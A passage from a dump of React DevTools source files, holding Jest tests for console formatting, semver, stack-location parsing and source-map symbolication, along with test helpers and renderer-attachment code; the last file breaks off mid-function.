describe('formatConsoleArgumentsToSingleString', () => {\n    it('should format simple strings', () => {\n      expect(formatConsoleArgumentsToSingleString('a', 'b', 'c')).toEqual(\n        'a b c',\n      );\n    });\n\n    it('should format multiple argument types', () => {\n      expect(formatConsoleArgumentsToSingleString('abc', 123, true)).toEqual(\n        'abc 123 true',\n      );\n    });\n\n    it('should support string substitutions', () => {\n      expect(\n        formatConsoleArgumentsToSingleString('a %s b %s c', 123, true),\n      ).toEqual('a 123 b true c');\n    });\n\n    it('should gracefully handle Symbol types', () => {\n      expect(\n        formatConsoleArgumentsToSingleString(Symbol('a'), 'b', Symbol('c')),\n      ).toEqual('Symbol(a) b Symbol(c)');\n    });\n\n    it('should gracefully handle Symbol type for the first argument', () => {\n      expect(formatConsoleArgumentsToSingleString(Symbol('abc'), 123)).toEqual(\n        'Symbol(abc) 123',\n      );\n    });\n\n    it('should gracefully handle objects with no prototype', () => {\n      expect(\n        formatConsoleArgumentsToSingleString('%o', Object.create(null)),\n      ).toEqual('%o [object Object]');\n    });\n  });\n\n  describe('formatWithStyles', () => {\n    it('should format empty arrays', () => {\n      expect(formatWithStyles([])).toEqual([]);\n      expect(formatWithStyles([], 'gray')).toEqual([]);\n      expect(formatWithStyles(undefined)).toEqual(undefined);\n    });\n\n    it('should bail out of strings with styles', () => {\n      expect(\n        formatWithStyles(['%ca', 'color: green', 'b', 'c'], 'color: gray'),\n      ).toEqual(['%ca', 'color: green', 'b', 'c']);\n    });\n\n    it('should format simple strings', () => {\n      expect(formatWithStyles(['a'])).toEqual(['a']);\n\n      expect(formatWithStyles(['a', 'b', 'c'])).toEqual(['a', 'b', 'c']);\n      expect(formatWithStyles(['a'], 'color: gray')).toEqual([\n        '%c%s',\n        'color: gray',\n        'a',\n      ]);\n      expect(formatWithStyles(['a', 'b', 'c'], 'color: gray')).toEqual([\n        '%c%s %s %s',\n        'color: gray',\n        'a',\n        'b',\n        'c',\n      ]);\n    });\n\n    it('should format string substituions', () => {\n      expect(\n        formatWithStyles(['%s %s %s', 'a', 'b', 'c'], 'color: gray'),\n      ).toEqual(['%c%s %s %s', 'color: gray', 'a', 'b', 'c']);\n\n      // The last letter isn't gray here but I think it's not a big\n      // deal, since there is a string substituion but it's incorrect\n      expect(formatWithStyles(['%s %s', 'a', 'b', 'c'], 'color: gray')).toEqual(\n        ['%c%s %s', 'color: gray', 'a', 'b', 'c'],\n      );\n    });\n\n    it('should support multiple argument types', () => {\n      const symbol = Symbol('a');\n      expect(\n        formatWithStyles(\n          ['abc', 123, 12.3, true, {hello: 'world'}, symbol],\n          'color: gray',\n        ),\n      ).toEqual([\n        '%c%s %i %f %s %o %s',\n        'color: gray',\n        'abc',\n        123,\n        12.3,\n        true,\n        {hello: 'world'},\n        symbol,\n      ]);\n    });\n\n    it('should properly format escaped string substituions', () => {\n      expect(formatWithStyles(['%%s'], 'color: gray')).toEqual([\n        '%c%s',\n        'color: gray',\n        '%%s',\n      ]);\n      expect(formatWithStyles(['%%c'], 'color: gray')).toEqual([\n        '%c%s',\n        'color: gray',\n        '%%c',\n      ]);\n      expect(formatWithStyles(['%%c%c'], 'color: gray')).toEqual(['%%c%c']);\n    });\n\n    it('should format non string inputs as the first argument', () => {\n      expect(formatWithStyles([{foo: 'bar'}])).toEqual([{foo: 'bar'}]);\n      expect(formatWithStyles([[1, 2, 3]])).toEqual([[1, 2, 3]]);\n      expect(formatWithStyles([{foo: 'bar'}], 'color: gray')).toEqual([\n        '%c%o',\n        'color: gray',\n        {foo: 'bar'},\n      ]);\n      expect(formatWithStyles([[1, 2, 3]], 'color: gray')).toEqual([\n        '%c%o',\n        'color: gray',\n        [1, 2, 3],\n      ]);\n      expect(formatWithStyles([{foo: 'bar'}, 'hi'], 'color: gray')).toEqual([\n        '%c%o %s',\n        'color: gray',\n        {foo: 'bar'},\n        'hi',\n      ]);\n    });\n  });\n\n  describe('semver comparisons', () => {\n    it('gte should compare versions correctly', () => {\n      expect(gte('1.2.3', '1.2.1')).toBe(true);\n      expect(gte('1.2.1', '1.2.1')).toBe(true);\n      expect(gte('1.2.1', '1.2.2')).toBe(false);\n      expect(gte('10.0.0', '9.0.0')).toBe(true);\n    });\n\n    it('gt should compare versions correctly', () => {\n      expect(gt('1.2.3', '1.2.1')).toBe(true);\n      expect(gt('1.2.1', '1.2.1')).toBe(false);\n      expect(gt('1.2.1', '1.2.2')).toBe(false);\n      expect(gte('10.0.0', '9.0.0')).toBe(true);\n    });\n  });\n\n  describe('isPlainObject', () => {\n    it('should return true for plain objects', () => {\n      expect(isPlainObject({})).toBe(true);\n      expect(isPlainObject({a: 1})).toBe(true);\n      expect(isPlainObject({a: {b: {c: 123}}})).toBe(true);\n    });\n\n    it('should return false if object is a class instance', () => {\n      expect(isPlainObject(new (class C {})())).toBe(false);\n    });\n\n    it('should return false for objects, which have not only Object in its prototype chain', () => {\n      expect(isPlainObject([])).toBe(false);\n      expect(isPlainObject(Symbol())).toBe(false);\n    });\n\n    it('should return false for primitives', () => {\n      expect(isPlainObject(5)).toBe(false);\n      expect(isPlainObject(true)).toBe(false);\n    });\n\n    it('should return true for objects with no prototype', () => {\n      expect(isPlainObject(Object.create(null))).toBe(true);\n    });\n  });\n\n  describe('extractLocationFromComponentStack', () => {\n    it('should return null if passed empty string', () => {\n      expect(extractLocationFromComponentStack('')).toEqual(null);\n    });\n\n    it('should construct the source from the first frame if available', () => {\n      expect(\n        extractLocationFromComponentStack(\n          'at l (https://react.dev/_next/static/chunks/main-78a3b4c2aa4e4850.js:1:10389)\\n' +\n            'at f (https://react.dev/_next/static/chunks/pages/%5B%5B...markdownPath%5D%5D-af2ed613aedf1d57.js:1:8519)\\n' +\n            'at r (https://react.dev/_next/static/chunks/pages/_app-dd0b77ea7bd5b246.js:1:498)\\n',\n        ),\n      ).toEqual([\n        'l',\n        'https://react.dev/_next/static/chunks/main-78a3b4c2aa4e4850.js',\n        1,\n        10389,\n      ]);\n    });\n\n    it('should construct the source from highest available frame', () => {\n      expect(\n        extractLocationFromComponentStack(\n          '    at Q\\n' +\n            '    at a\\n' +\n            '    at m (https://react.dev/_next/static/chunks/848-122f91e9565d9ffa.js:5:9236)\\n' +\n            '    at div\\n' +\n            '    at div\\n' +\n            '    at div\\n' +\n            '    at nav\\n' +\n            '    at div\\n' +\n            '    at te (https://react.dev/_next/static/chunks/363-3c5f1b553b6be118.js:1:158857)\\n' +\n            '    at tt (https://react.dev/_next/static/chunks/363-3c5f1b553b6be118.js:1:165520)\\n' +\n            '    at f (https://react.dev/_next/static/chunks/pages/%5B%5B...markdownPath%5D%5D-af2ed613aedf1d57.js:1:8519)',\n        ),\n      ).toEqual([\n        'm',\n        'https://react.dev/_next/static/chunks/848-122f91e9565d9ffa.js',\n        5,\n        9236,\n      ]);\n    });\n\n    it('should construct the source from frame, which has only url specified', () => {\n      expect(\n        extractLocationFromComponentStack(\n          '    at Q\\n' +\n            '    at a\\n' +\n            '    at https://react.dev/_next/static/chunks/848-122f91e9565d9ffa.js:5:9236\\n',\n        ),\n      ).toEqual([\n        '',\n        'https://react.dev/_next/static/chunks/848-122f91e9565d9ffa.js',\n        5,\n        9236,\n      ]);\n    });\n\n    it('should parse sourceURL correctly if it includes parentheses', () => {\n      expect(\n        extractLocationFromComponentStack(\n          'at HotReload (webpack-internal:///(app-pages-browser)/./node_modules/next/dist/client/components/react-dev-overlay/hot-reloader-client.js:307:11)\\n' +\n            '    at Router (webpack-internal:///(app-pages-browser)/./node_modules/next/dist/client/components/app-router.js:181:11)\\n' +\n            '    at ErrorBoundaryHandler (webpack-internal:///(app-pages-browser)/./node_modules/next/dist/client/components/error-boundary.js:114:9)',\n        ),\n      ).toEqual([\n        'HotReload',\n        'webpack-internal:///(app-pages-browser)/./node_modules/next/dist/client/components/react-dev-overlay/hot-reloader-client.js',\n        307,\n        11,\n      ]);\n    });\n\n    it('should support Firefox stack', () => {\n      expect(\n        extractLocationFromComponentStack(\n          'tt@https://react.dev/_next/static/chunks/363-3c5f1b553b6be118.js:1:165558\\n' +\n            'f@https://react.dev/_next/static/chunks/pages/%5B%5B...markdownPath%5D%5D-af2ed613aedf1d57.js:1:8535\\n' +\n            'r@https://react.dev/_next/static/chunks/pages/_app-dd0b77ea7bd5b246.js:1:513',\n        ),\n      ).toEqual([\n        'tt',\n        'https://react.dev/_next/static/chunks/363-3c5f1b553b6be118.js',\n        1,\n        165558,\n      ]);\n    });\n  });\n\n  describe('symbolicateSource', () => {\n    const source = `\"use strict\";\nObject.defineProperty(exports, \"__esModule\", { value: true });\nexports.f = f;\nfunction f() { }\n//# sourceMappingURL=`;\n    const result = {\n      location: ['', 'http://test/a.mts', 1, 17],\n      ignored: false,\n    };\n    const fs = {\n      'http://test/a.mts': `export function f() {}`,\n      'http://test/a.mjs.map': `{\"version\":3,\"file\":\"a.mjs\",\"sourceRoot\":\"\",\"sources\":[\"a.mts\"],\"names\":[],\"mappings\":\";;AAAA,cAAsB;AAAtB,SAAgB,CAAC,KAAI,CAAC\"}`,\n      'http://test/a.mjs': `${source}a.mjs.map`,\n      'http://test/b.mjs': `${source}./a.mjs.map`,\n      'http://test/c.mjs': `${source}http://test/a.mjs.map`,\n      'http://test/d.mjs': `${source}/a.mjs.map`,\n    };\n    const fetchFileWithCaching = async (url: string) => fs[url] || null;\n    it('should parse source map urls', async () => {\n      const run = url => symbolicateSource(fetchFileWithCaching, url, 4, 10);\n      await expect(run('http://test/a.mjs')).resolves.toStrictEqual(result);\n      await expect(run('http://test/b.mjs')).resolves.toStrictEqual(result);\n      await expect(run('http://test/c.mjs')).resolves.toStrictEqual(result);\n      await expect(run('http://test/d.mjs')).resolves.toStrictEqual(result);\n    });\n\n    it('should not throw for invalid base URL with relative source map', async () => {\n      const fs2 = {\n        'bundle.js': `${source}bundle.js.map`,\n      };\n      const fetch2 = async url => fs2[url] || null;\n      const run = url => symbolicateSource(fetch2, url, 1, 1);\n      await expect(run('bundle.js')).resolves.toBe(null);\n    });\n\n    it('should resolve absolute source map even if base URL is invalid', async () => {\n      const fs3 = {\n        'invalid-base.js': `${source}http://test/a.mjs.map`,\n        'http://test/a.mts': `export function f() {}`,\n        'http://test/a.mjs.map': `{\"version\":3,\"file\":\"a.mjs\",\"sourceRoot\":\"\",\"sources\":[\"a.mts\"],\"names\":[],\"mappings\":\";;AAAA,cAAsB;AAAtB,SAAgB,CAAC,KAAI,CAAC\"}`,\n      };\n      const fetch3 = async url => fs3[url] || null;\n      const run = url => symbolicateSource(fetch3, url, 4, 10);\n      await expect(run('invalid-base.js')).resolves.toStrictEqual(result);\n    });\n  });\n\n  describe('formatConsoleArguments', () => {\n    it('works with empty arguments list', () => {\n      expect(formatConsoleArguments(...[])).toEqual([]);\n    });\n\n    it('works for string without escape sequences', () => {\n      expect(\n        formatConsoleArguments('This is the template', 'And another string'),\n      ).toEqual(['This is the template', 'And another string']);\n    });\n\n    it('works with strings templates', () => {\n      expect(formatConsoleArguments('This is %s template', 'the')).toEqual([\n        'This is the template',\n      ]);\n    });\n\n    it('skips %%s', () => {\n      expect(formatConsoleArguments('This %%s is %s template', 'the')).toEqual([\n        'This %%s is the template',\n      ]);\n    });\n\n    it('works with %%%s', () => {\n      expect(\n        formatConsoleArguments('This %%%s is %s template', 'test', 'the'),\n      ).toEqual(['This %%test is the template']);\n    });\n\n    it(\"doesn't inline objects\", () => {\n      expect(\n        formatConsoleArguments('This is %s template with object %o', 'the', {}),\n      ).toEqual(['This is the template with object %o', {}]);\n    });\n\n    it(\"doesn't inline css\", () => {\n      expect(\n        formatConsoleArguments(\n          'This is template with %c %s object %o',\n          'color: rgba(...)',\n          'the',\n          {},\n        ),\n      ).toEqual([\n        'This is template with %c the object %o',\n        'color: rgba(...)',\n        {},\n      ]);\n    });\n\n    it('formats nullish values', () => {\n      expect(formatConsoleArguments('This is the %s template', null)).toEqual([\n        'This is the null template',\n      ]);\n      expect(\n        formatConsoleArguments('This is the %s template', undefined),\n      ).toEqual(['This is the undefined template']);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport semver from 'semver';\n\nimport typeof ReactTestRenderer from 'react-test-renderer';\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type Store from 'react-devtools-shared/src/devtools/store';\nimport type {ProfilingDataFrontend} from 'react-devtools-shared/src/devtools/views/Profiler/types';\nimport type {ElementType} from 'react-devtools-shared/src/frontend/types';\nimport type {Node as ReactNode} from 'react';\n\nimport {ReactVersion} from '../../../../ReactVersions';\n\nconst requestedReactVersion = process.env.REACT_VERSION || ReactVersion;\nexport function getActDOMImplementation(): () => void | Promise<void> {\n  // This is for React < 17, where act wasn't shipped yet.\n  if (semver.lt(requestedReactVersion, '17.0.0')) {\n    require('react-dom/test-utils');\n    return cb => cb();\n  }\n\n  // This is for React < 18, where act was distributed in react-dom/test-utils.\n  if (semver.lt(requestedReactVersion, '18.0.0')) {\n    const ReactDOMTestUtils = require('react-dom/test-utils');\n    return ReactDOMTestUtils.act;\n  }\n\n  const React = require('react');\n  // This is for React 18, where act was distributed in react as unstable.\n  if (React.unstable_act) {\n    return React.unstable_act;\n  }\n\n  // This is for React > 18, where act is marked as stable.\n  if (React.act) {\n    return React.act;\n  }\n\n  throw new Error(\"Couldn't find any available act implementation\");\n}\n\nexport function getActTestRendererImplementation(): () => void | Promise<void> {\n  // This is for React < 17, where act wasn't shipped yet.\n  if (semver.lt(requestedReactVersion, '17.0.0')) {\n    require('react-test-renderer');\n    return cb => cb();\n  }\n\n  const RTR = require('react-test-renderer');\n  if (RTR.act) {\n    return RTR.act;\n  }\n\n  throw new Error(\n    \"Couldn't find any available act implementation in react-test-renderer\",\n  );\n}\n\nexport function act(\n  callback: Function,\n  recursivelyFlush: boolean = true,\n): void {\n  // act from react-test-renderer has some side effects on React DevTools\n  // it injects the renderer for DevTools, see ReactTestRenderer.js\n  const actTestRenderer = getActTestRendererImplementation();\n  const actDOM = getActDOMImplementation();\n\n  actDOM(() => {\n    actTestRenderer(() => {\n      callback();\n    });\n  });\n\n  if (recursivelyFlush) {\n    // Flush Bridge operations\n    while (jest.getTimerCount() > 0) {\n      actDOM(() => {\n        actTestRenderer(() => {\n          jest.runAllTimers();\n        });\n      });\n    }\n  }\n}\n\nexport async function actAsync(\n  cb: () => *,\n  recursivelyFlush: boolean = true,\n): Promise<void> {\n  // act from react-test-renderer has some side effects on React DevTools\n  // it injects the renderer for DevTools, see ReactTestRenderer.js\n  const actTestRenderer = getActTestRendererImplementation();\n  const actDOM = getActDOMImplementation();\n\n  await actDOM(async () => {\n    await actTestRenderer(async () => {\n      await cb();\n    });\n  });\n\n  if (recursivelyFlush) {\n    while (jest.getTimerCount() > 0) {\n      await actDOM(async () => {\n        await actTestRenderer(async () => {\n          jest.runAllTimers();\n        });\n      });\n    }\n  } else {\n    await actDOM(async () => {\n      await actTestRenderer(async () => {\n        jest.runOnlyPendingTimers();\n      });\n    });\n  }\n}\n\ntype RenderImplementation = {\n  render: (elements: ?ReactNode) => () => void,\n  unmount: () => void,\n  createContainer: () => void,\n  getContainer: () => ?HTMLElement,\n};\n\nexport function getLegacyRenderImplementation(): RenderImplementation {\n  let ReactDOM;\n  let container;\n  const containersToRemove = [];\n\n  beforeEach(() => {\n    ReactDOM = require('react-dom');\n\n    createContainer();\n  });\n\n  afterEach(() => {\n    containersToRemove.forEach(c => document.body.removeChild(c));\n    containersToRemove.splice(0, containersToRemove.length);\n\n    ReactDOM = null;\n    container = null;\n  });\n\n  function render(elements) {\n    withErrorsOrWarningsIgnored(\n      ['ReactDOM.render has not been supported since React 18'],\n      () => {\n        ReactDOM.render(elements, container);\n      },\n    );\n\n    return unmount;\n  }\n\n  function unmount() {\n    ReactDOM.unmountComponentAtNode(container);\n  }\n\n  function createContainer() {\n    container = document.createElement('div');\n    document.body.appendChild(container);\n\n    containersToRemove.push(container);\n  }\n\n  function getContainer() {\n    return container;\n  }\n\n  return {\n    render,\n    unmount,\n    createContainer,\n    getContainer,\n  };\n}\n\nexport function getModernRenderImplementation(): RenderImplementation {\n  let ReactDOMClient;\n  let container;\n  let root;\n  const containersToRemove = [];\n\n  beforeEach(() => {\n    ReactDOMClient = require('react-dom/client');\n\n    createContainer();\n  });\n\n  afterEach(() => {\n    containersToRemove.forEach(c => document.body.removeChild(c));\n    containersToRemove.splice(0, containersToRemove.length);\n\n    ReactDOMClient = null;\n    container = null;\n    root = null;\n  });\n\n  function render(elements) {\n    if (root == null) {\n      root = ReactDOMClient.createRoot(container);\n    }\n    root.render(elements);\n\n    return unmount;\n  }\n\n  function unmount() {\n    root.unmount();\n  }\n\n  function createContainer() {\n    container = document.createElement('div');\n    document.body.appendChild(container);\n\n    root = null;\n\n    containersToRemove.push(container);\n  }\n\n  function getContainer() {\n    return container;\n  }\n\n  return {\n    render,\n    unmount,\n    createContainer,\n    getContainer,\n  };\n}\n\nexport const getVersionedRenderImplementation: () => RenderImplementation =\n  semver.lt(requestedReactVersion, '18.0.0')\n    ? getLegacyRenderImplementation\n    : getModernRenderImplementation;\n\nexport function beforeEachProfiling(): void {\n  // Mock React's timing information so that test runs are predictable.\n  jest.mock('scheduler', () => jest.requireActual('scheduler/unstable_mock'));\n\n  // DevTools itself uses performance.now() to offset commit times\n  // so they appear relative to when profiling was started in the UI.\n  jest\n    .spyOn(performance, 'now')\n    .mockImplementation(\n      jest.requireActual('scheduler/unstable_mock').unstable_now,\n    );\n}\n\nexport function createDisplayNameFilter(\n  source: string,\n  isEnabled: boolean = true,\n) {\n  const Types = require('react-devtools-shared/src/frontend/types');\n  let isValid = true;\n  try {\n    new RegExp(source); // eslint-disable-line no-new\n  } catch (error) {\n    isValid = false;\n  }\n  return {\n    type: Types.ComponentFilterDisplayName,\n    isEnabled,\n    isValid,\n    value: source,\n  };\n}\n\nexport function createHOCFilter(isEnabled: boolean = true) {\n  const Types = require('react-devtools-shared/src/frontend/types');\n  return {\n    type: Types.ComponentFilterHOC,\n    isEnabled,\n    isValid: true,\n  };\n}\n\nexport function createEnvironmentNameFilter(\n  env: string,\n  isEnabled: boolean = true,\n) {\n  const Types = require('react-devtools-shared/src/frontend/types');\n  return {\n    type: Types.ComponentFilterEnvironmentName,\n    isEnabled,\n    isValid: true,\n    value: env,\n  };\n}\n\nexport function createElementTypeFilter(\n  elementType: ElementType,\n  isEnabled: boolean = true,\n) {\n  const Types = require('react-devtools-shared/src/frontend/types');\n  return {\n    type: Types.ComponentFilterElementType,\n    isEnabled,\n    value: elementType,\n  };\n}\n\nexport function createLocationFilter(\n  source: string,\n  isEnabled: boolean = true,\n) {\n  const Types = require('react-devtools-shared/src/frontend/types');\n  let isValid = true;\n  try {\n    new RegExp(source); // eslint-disable-line no-new\n  } catch (error) {\n    isValid = false;\n  }\n  return {\n    type: Types.ComponentFilterLocation,\n    isEnabled,\n    isValid,\n    value: source,\n  };\n}\n\nexport function createActivitySliceFilter(\n  activityID: Element['id'],\n  isEnabled: boolean = true,\n) {\n  const Types = require('react-devtools-shared/src/frontend/types');\n  return {\n    type: Types.ComponentFilterActivitySlice,\n    isEnabled,\n    isValid: true,\n    activityID: activityID,\n  };\n}\n\nexport function getRendererID(): number {\n  if (global.agent == null) {\n    throw Error('Agent unavailable.');\n  }\n  const ids = Object.keys(global.agent._rendererInterfaces);\n\n  const id = ids.find(innerID => {\n    const rendererInterface = global.agent._rendererInterfaces[innerID];\n    return rendererInterface.renderer.rendererPackageName === 'react-dom';\n  });\n\n  if (id == null) {\n    throw Error('Could not find renderer.');\n  }\n\n  return parseInt(id, 10);\n}\n\nexport function legacyRender(elements, container) {\n  if (container == null) {\n    container = document.createElement('div');\n  }\n\n  const ReactDOM = require('react-dom');\n  withErrorsOrWarningsIgnored(\n    ['ReactDOM.render has not been supported since React 18'],\n    () => {\n      ReactDOM.render(elements, container);\n    },\n  );\n\n  return () => {\n    ReactDOM.unmountComponentAtNode(container);\n  };\n}\n\nexport function requireTestRenderer(): ReactTestRenderer {\n  let hook;\n  try {\n    // Hide the hook before requiring TestRenderer, so we don't end up with a loop.\n    hook = global.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    delete global.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n\n    return require('react-test-renderer');\n  } finally {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__ = hook;\n  }\n}\n\nexport function exportImportHelper(bridge: FrontendBridge, store: Store): void {\n  const {\n    prepareProfilingDataExport,\n    prepareProfilingDataFrontendFromExport,\n  } = require('react-devtools-shared/src/devtools/views/Profiler/utils');\n\n  const {profilerStore} = store;\n\n  expect(profilerStore.profilingData).not.toBeNull();\n\n  const profilingDataFrontendInitial =\n    ((profilerStore.profilingData: any): ProfilingDataFrontend);\n  expect(profilingDataFrontendInitial.imported).toBe(false);\n\n  const profilingDataExport = prepareProfilingDataExport(\n    profilingDataFrontendInitial,\n  );\n\n  // Simulate writing/reading to disk.\n  const serializedProfilingDataExport = JSON.stringify(\n    profilingDataExport,\n    null,\n    2,\n  );\n  const parsedProfilingDataExport = JSON.parse(serializedProfilingDataExport);\n\n  const profilingDataFrontend = prepareProfilingDataFrontendFromExport(\n    (parsedProfilingDataExport: any),\n  );\n  expect(profilingDataFrontend.imported).toBe(true);\n\n  // Sanity check that profiling snapshots are serialized correctly.\n  expect(profilingDataFrontendInitial.dataForRoots).toEqual(\n    profilingDataFrontend.dataForRoots,\n  );\n  expect(profilingDataFrontendInitial.timelineData).toEqual(\n    profilingDataFrontend.timelineData,\n  );\n\n  // Snapshot the JSON-parsed object, rather than the raw string, because Jest formats the diff nicer.\n  // expect(parsedProfilingDataExport).toMatchSnapshot('imported data');\n\n  act(() => {\n    // Apply the new exported-then-imported data so tests can re-run assertions.\n    profilerStore.profilingData = profilingDataFrontend;\n  });\n}\n\n/**\n * Runs `fn` while preventing console error and warnings that partially match any given `errorOrWarningMessages` from appearing in the console.\n * @param errorOrWarningMessages Messages are matched partially (i.e. indexOf), pre-formatting.\n * @param fn\n */\nexport function withErrorsOrWarningsIgnored<T: void | Promise<void>>(\n  errorOrWarningMessages: string[],\n  fn: () => T,\n): T {\n  // withErrorsOrWarningsIgnored() may be nested.\n  const prev = global._ignoredErrorOrWarningMessages || [];\n\n  let resetIgnoredErrorOrWarningMessages = true;\n  try {\n    global._ignoredErrorOrWarningMessages = [\n      ...prev,\n      ...errorOrWarningMessages,\n    ];\n    const maybeThenable = fn();\n    if (\n      maybeThenable !== undefined &&\n      typeof maybeThenable.then === 'function'\n    ) {\n      resetIgnoredErrorOrWarningMessages = false;\n      return maybeThenable.then(\n        () => {\n          global._ignoredErrorOrWarningMessages = prev;\n        },\n        () => {\n          global._ignoredErrorOrWarningMessages = prev;\n        },\n      );\n    }\n  } finally {\n    if (resetIgnoredErrorOrWarningMessages) {\n      global._ignoredErrorOrWarningMessages = prev;\n    }\n  }\n}\n\nexport function overrideFeatureFlags(overrideFlags) {\n  jest.mock('react-devtools-feature-flags', () => {\n    const actualFlags = jest.requireActual('react-devtools-feature-flags');\n    return {\n      ...actualFlags,\n      ...overrideFlags,\n    };\n  });\n}\n\nexport function normalizeCodeLocInfo(str) {\n  if (typeof str === 'object' && str !== null) {\n    str = str.stack;\n  }\n  if (typeof str !== 'string') {\n    return str;\n  }\n  // This special case exists only for the special source location in\n  // ReactElementValidator. That will go away if we remove source locations.\n  str = str.replace(/Check your code at .+?:\\d+/g, 'Check your code at **');\n  // V8 format:\n  //  at Component (/path/filename.js:123:45)\n  // React format:\n  //    in Component (at filename.js:123)\n  return str.replace(/\\n +(?:at|in) ([\\S]+)[^\\n]*/g, function (m, name) {\n    return '\\n    in ' + name + ' (at **)';\n  });\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/attachRenderer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ReactRenderer,\n  RendererInterface,\n  DevToolsHook,\n  RendererID,\n  ProfilingSettings,\n} from 'react-devtools-shared/src/backend/types';\nimport type {ComponentFilter} from 'react-devtools-shared/src/frontend/types';\n\nimport {attach as attachFlight} from 'react-devtools-shared/src/backend/flight/renderer';\nimport {attach as attachFiber} from 'react-devtools-shared/src/backend/fiber/renderer';\nimport {attach as attachLegacy} from 'react-devtools-shared/src/backend/legacy/renderer';\nimport {hasAssignedBackend} from 'react-devtools-shared/src/backend/utils';\n\n// this is the backend that is compatible with all older React versions\nfunction isMatchingRender(version: string): boolean {\n  return !hasAssignedBackend(version);\n}\n\nexport default function attachRenderer(\n  hook: DevToolsHook,\n  id: RendererID,\n  renderer: ReactRenderer,\n  global: Object,\n  shouldStartProfilingNow: boolean,\n  profilingSettings: ProfilingSettings,\n  componentFiltersOrComponentFiltersPromise:\n    | Array<ComponentFilter>\n    | Promise<Array<ComponentFilter>>,\n): RendererInterface | void {\n  // only attach if the renderer is compatible with the current version of the backend\n  if (!isMatchingRender(renderer.reconcilerVersion || renderer.version)) {\n    return;\n  }\n  let rendererInterface = hook.rendererInterfaces.get(id);\n\n  // Inject any not-yet-injected renderers (if we didn't reload-and-profile)\n  if (rendererInterface == null) {\n    if (typeof renderer.getCurrentComponentInfo === 'function') {\n      // react-flight/client\n      rendererInterface = attachFlight(hook, id, renderer, global);\n    } else if (\n      // v16-19\n      typeof renderer.findFiberByHostInstance === 'function' ||\n      // v16.8+\n      renderer.currentDispatcherRef != null\n    ) {\n      // react-reconciler v16+\n      rendererInterface = attachFiber(\n        hook,\n        id,\n        renderer,\n        global,\n        shouldStartProfilingNow,\n        profilingSettings,\n        componentFiltersOrComponentFiltersPromise,\n      );\n    } else if (renderer.ComponentTree) {\n      // react-dom v15\n      rendererInterface = attachLegacy(hook, id, renderer, global);\n    } else {\n      // Older react-dom or other unsupported renderer version\n    }\n  }\n\n  return rendererInterface;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/DevToolsNativeHost.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {HostInstance} from './types';\n\n// Some environments (e.g. React Native / Hermes) don't support the performance API yet.\nexport const getCurrentTime: () => number =\n  // $FlowFixMe[method-unbinding]\n  typeof performance === 'object' && typeof performance.now === 'function'\n    ? () => performance.now()\n    : () => Date.now();\n\n// Ideally, this should be injected from Reconciler config\nexport function getPublicInstance(instance: HostInstance): HostInstance {\n  // Typically the PublicInstance and HostInstance is the same thing but not in Fabric.\n  // So we need to detect this and use that as the public instance.\n\n  // React Native. Modern. Fabric.\n  if (typeof instance === 'object' && instance !== null) {\n    if (typeof instance.canonical === 'object' && instance.canonical !== null) {\n      if (\n        typeof instance.canonical.publicInstance === 'object' &&\n        instance.canonical.publicInstance !== null\n      ) {\n        return instance.canonical.publicInstance;\n      }\n    }\n\n    // React Native. Legacy. Paper.\n    if (typeof instance._nativeTag === 'number') {\n      return instance._nativeTag;\n    }\n  }\n\n  // React Web. Usually a DOM element.\n  return instance;\n}\n\nexport function getNativeTag(instance: HostInstance): number | null {\n  if (typeof instance !== 'object' || instance === null) {\n    return null;\n  }\n\n  // Modern. Fabric.\n  if (\n    instance.canonical != null &&\n    typeof instance.canonical.nativeTag === 'number'\n  ) {\n    return instance.canonical.nativeTag;\n  }\n\n  // Legacy.  Paper.\n  if (typeof instance._nativeTag === 'number') {\n    return instance._nativeTag;\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/NativeStyleEditor/resolveBoxStyle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {BoxStyle} from './types';\n\n/**\n * This mirrors react-native/Libraries/Inspector/resolveBoxStyle.js (but without RTL support).\n *\n * Resolve a style property into it's component parts, e.g.\n *\n * resolveBoxStyle('margin', {margin: 5, marginBottom: 10})\n * -> {top: 5, left: 5, right: 5, bottom: 10}\n */\nexport default function resolveBoxStyle(\n  prefix: string,\n  style: Object,\n): BoxStyle | null {\n  let hasParts = false;\n  const result = {\n    bottom: 0,\n    left: 0,\n    right: 0,\n    top: 0,\n  };\n\n  const styleForAll = style[prefix];\n  if (styleForAll != null) {\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const key of Object.keys(result)) {\n      result[key] = styleForAll;\n    }\n    hasParts = true;\n  }\n\n  const styleForHorizontal = style[prefix + 'Horizontal'];\n  if (styleForHorizontal != null) {\n    result.left = styleForHorizontal;\n    result.right = styleForHorizontal;\n    hasParts = true;\n  } else {\n    const styleForLeft = style[prefix + 'Left'];\n    if (styleForLeft != null) {\n      result.left = styleForLeft;\n      hasParts = true;\n    }\n\n    const styleForRight = style[prefix + 'Right'];\n    if (styleForRight != null) {\n      result.right = styleForRight;\n      hasParts = true;\n    }\n\n    const styleForEnd = style[prefix + 'End'];\n    if (styleForEnd != null) {\n      // TODO RTL support\n      result.right = styleForEnd;\n      hasParts = true;\n    }\n    const styleForStart = style[prefix + 'Start'];\n    if (styleForStart != null) {\n      // TODO RTL support\n      result.left = styleForStart;\n      hasParts = true;\n    }\n  }\n\n  const styleForVertical = style[prefix + 'Vertical'];\n  if (styleForVertical != null) {\n    result.bottom = styleForVertical;\n    result.top = styleForVertical;\n    hasParts = true;\n  